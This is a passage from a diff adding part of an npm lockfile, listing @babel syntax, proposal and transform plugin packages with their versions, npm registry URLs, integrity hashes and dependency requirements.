+      "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-json-strings": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+      "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-json-strings": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-logical-assignment-operators": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.18.9.tgz",
+      "integrity": "sha512-128YbMpjCrP35IOExw2Fq+x55LMP42DzhOhX2aNNIdI9avSWl2PI0yuBWarr3RYpZBSPtabfadkH2yeRiMD61Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+      }
+    },
+    "@babel/plugin-proposal-nullish-coalescing-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+      "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-numeric-separator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+      "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+      }
+    },
+    "@babel/plugin-proposal-object-rest-spread": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.18.9.tgz",
+      "integrity": "sha512-kDDHQ5rflIeY5xl69CEqGEZ0KY369ehsCIEbTGb4siHG5BE9sga/T0r0OUwyZNLMmZE79E1kbsqAjwFCW4ds6Q==",
+      "requires": {
+        "@babel/compat-data": "^7.18.8",
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+        "@babel/plugin-transform-parameters": "^7.18.8"
+      }
+    },
+    "@babel/plugin-proposal-optional-catch-binding": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+      "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-optional-chaining": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.18.9.tgz",
+      "integrity": "sha512-v5nwt4IqBXihxGsW2QmCWMDS3B3bzGIk/EQVZz2ei7f3NJl8NzAJVvUmpDW5q1CRNY+Beb/k58UAH1Km1N411w==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9",
+        "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9",
+        "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+      }
+    },
+    "@babel/plugin-proposal-private-methods": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+      "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+      "requires": {
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-proposal-private-property-in-object": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.18.6.tgz",
+      "integrity": "sha512-9Rysx7FOctvT5ouj5JODjAFAkgGoudQuLPamZb0v1TGLpapdNaftzifU8NTWQm0IRjqoYypdrSmyWgkocDQ8Dw==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-create-class-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+      }
+    },
+    "@babel/plugin-proposal-unicode-property-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+      "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+      "requires": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-syntax-async-generators": {
+      "version": "7.8.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+      "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-bigint": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz",
+      "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-class-properties": {
+      "version": "7.12.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+      "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.12.13"
+      }
+    },
+    "@babel/plugin-syntax-class-static-block": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+      "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      }
+    },
+    "@babel/plugin-syntax-decorators": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.19.0.tgz",
+      "integrity": "sha512-xaBZUEDntt4faL1yN8oIFlhfXeQAWJW7CLKYsHTUqriCUbj8xOra8bfxxKGi/UwExPFBuPdH4XfHc9rGQhrVkQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.19.0"
+      }
+    },
+    "@babel/plugin-syntax-dynamic-import": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+      "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-export-namespace-from": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+      "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.3"
+      }
+    },
+    "@babel/plugin-syntax-flow": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz",
+      "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-syntax-import-assertions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.18.6.tgz",
+      "integrity": "sha512-/DU3RXad9+bZwrgWJQKbr39gYbJpLJHezqEzRzi/BHRlJ9zsQb4CK2CA/5apllXNomwA1qHwzvHl+AdEmC5krQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-syntax-import-meta": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz",
+      "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      }
+    },
+    "@babel/plugin-syntax-json-strings": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+      "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-jsx": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz",
+      "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-syntax-logical-assignment-operators": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+      "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      }
+    },
+    "@babel/plugin-syntax-nullish-coalescing-operator": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+      "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-numeric-separator": {
+      "version": "7.10.4",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+      "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.10.4"
+      }
+    },
+    "@babel/plugin-syntax-object-rest-spread": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+      "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-optional-catch-binding": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+      "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-optional-chaining": {
+      "version": "7.8.3",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+      "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.8.0"
+      }
+    },
+    "@babel/plugin-syntax-private-property-in-object": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+      "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      }
+    },
+    "@babel/plugin-syntax-top-level-await": {
+      "version": "7.14.5",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+      "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.14.5"
+      }
+    },
+    "@babel/plugin-syntax-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz",
+      "integrity": "sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-arrow-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.18.6.tgz",
+      "integrity": "sha512-9S9X9RUefzrsHZmKMbDXxweEH+YlE8JJEuat9FdvW9Qh1cw7W64jELCtWNkPBPX5En45uy28KGvA/AySqUh8CQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-async-to-generator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.18.6.tgz",
+      "integrity": "sha512-ARE5wZLKnTgPW7/1ftQmSi1CmkqqHo2DNmtztFhvgtOWSDfq0Cq9/9L+KnZNYSNrydBekhW3rwShduf59RoXag==",
+      "requires": {
+        "@babel/helper-module-imports": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-remap-async-to-generator": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-block-scoped-functions": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz",
+      "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-block-scoping": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz",
+      "integrity": "sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-classes": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.19.0.tgz",
+      "integrity": "sha512-YfeEE9kCjqTS9IitkgfJuxjcEtLUHMqa8yUJ6zdz8vR7hKuo6mOy2C05P0F1tdMmDCeuyidKnlrw/iTppHcr2A==",
+      "requires": {
+        "@babel/helper-annotate-as-pure": "^7.18.6",
+        "@babel/helper-compilation-targets": "^7.19.0",
+        "@babel/helper-environment-visitor": "^7.18.9",
+        "@babel/helper-function-name": "^7.19.0",
+        "@babel/helper-optimise-call-expression": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-replace-supers": "^7.18.9",
+        "@babel/helper-split-export-declaration": "^7.18.6",
+        "globals": "^11.1.0"
+      }
+    },
+    "@babel/plugin-transform-computed-properties": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.18.9.tgz",
+      "integrity": "sha512-+i0ZU1bCDymKakLxn5srGHrsAPRELC2WIbzwjLhHW9SIE1cPYkLCL0NlnXMZaM1vhfgA2+M7hySk42VBvrkBRw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-destructuring": {
+      "version": "7.18.13",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.18.13.tgz",
+      "integrity": "sha512-TodpQ29XekIsex2A+YJPj5ax2plkGa8YYY6mFjCohk/IG9IY42Rtuj1FuDeemfg2ipxIFLzPeA83SIBnlhSIow==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-dotall-regex": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz",
+      "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==",
+      "requires": {
+        "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-duplicate-keys": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz",
+      "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-exponentiation-operator": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz",
+      "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==",
+      "requires": {
+        "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-flow-strip-types": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.19.0.tgz",
+      "integrity": "sha512-sgeMlNaQVbCSpgLSKP4ZZKfsJVnFnNQlUSk6gPYzR/q7tzCgQF2t8RBKAP6cKJeZdveei7Q7Jm527xepI8lNLg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/plugin-syntax-flow": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-for-of": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.18.8.tgz",
+      "integrity": "sha512-yEfTRnjuskWYo0k1mHUqrVWaZwrdq8AYbfrpqULOJOaucGSp4mNMVps+YtA8byoevxS/urwU75vyhQIxcCgiBQ==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-function-name": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz",
+      "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==",
+      "requires": {
+        "@babel/helper-compilation-targets": "^7.18.9",
+        "@babel/helper-function-name": "^7.18.9",
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-literals": {
+      "version": "7.18.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz",
+      "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-member-expression-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz",
+      "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-modules-amd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz",
+      "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==",
+      "requires": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      }
+    },
+    "@babel/plugin-transform-modules-commonjs": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz",
+      "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==",
+      "requires": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-simple-access": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      }
+    },
+    "@babel/plugin-transform-modules-systemjs": {
+      "version": "7.19.0",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.19.0.tgz",
+      "integrity": "sha512-x9aiR0WXAWmOWsqcsnrzGR+ieaTMVyGyffPVA7F8cXAGt/UxefYv6uSHZLkAFChN5M5Iy1+wjE+xJuPt22H39A==",
+      "requires": {
+        "@babel/helper-hoist-variables": "^7.18.6",
+        "@babel/helper-module-transforms": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0",
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "babel-plugin-dynamic-import-node": "^2.3.3"
+      }
+    },
+    "@babel/plugin-transform-modules-umd": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz",
+      "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==",
+      "requires": {
+        "@babel/helper-module-transforms": "^7.18.6",
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-named-capturing-groups-regex": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.19.1.tgz",
+      "integrity": "sha512-oWk9l9WItWBQYS4FgXD4Uyy5kq898lvkXpXQxoJEY1RnvPk4R/Dvu2ebXU9q8lP+rlMwUQTFf2Ok6d78ODa0kw==",
+      "requires": {
+        "@babel/helper-create-regexp-features-plugin": "^7.19.0",
+        "@babel/helper-plugin-utils": "^7.19.0"
+      }
+    },
+    "@babel/plugin-transform-new-target": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz",
+      "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-object-super": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz",
+      "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-replace-supers": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-parameters": {
+      "version": "7.18.8",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz",
+      "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-property-literals": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz",
+      "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.6"
+      }
+    },
+    "@babel/plugin-transform-react-constant-elements": {
+      "version": "7.18.12",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.18.12.tgz",
+      "integrity": "sha512-Q99U9/ttiu+LMnRU8psd23HhvwXmKWDQIpocm0JKaICcZHnw+mdQbHm6xnSy7dOl8I5PELakYtNBubNQlBXbZw==",
+      "requires": {
+        "@babel/helper-plugin-utils": "^7.18.9"
+      }
+    },
+    "@babel/plugin-transform-react-display-name": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz",
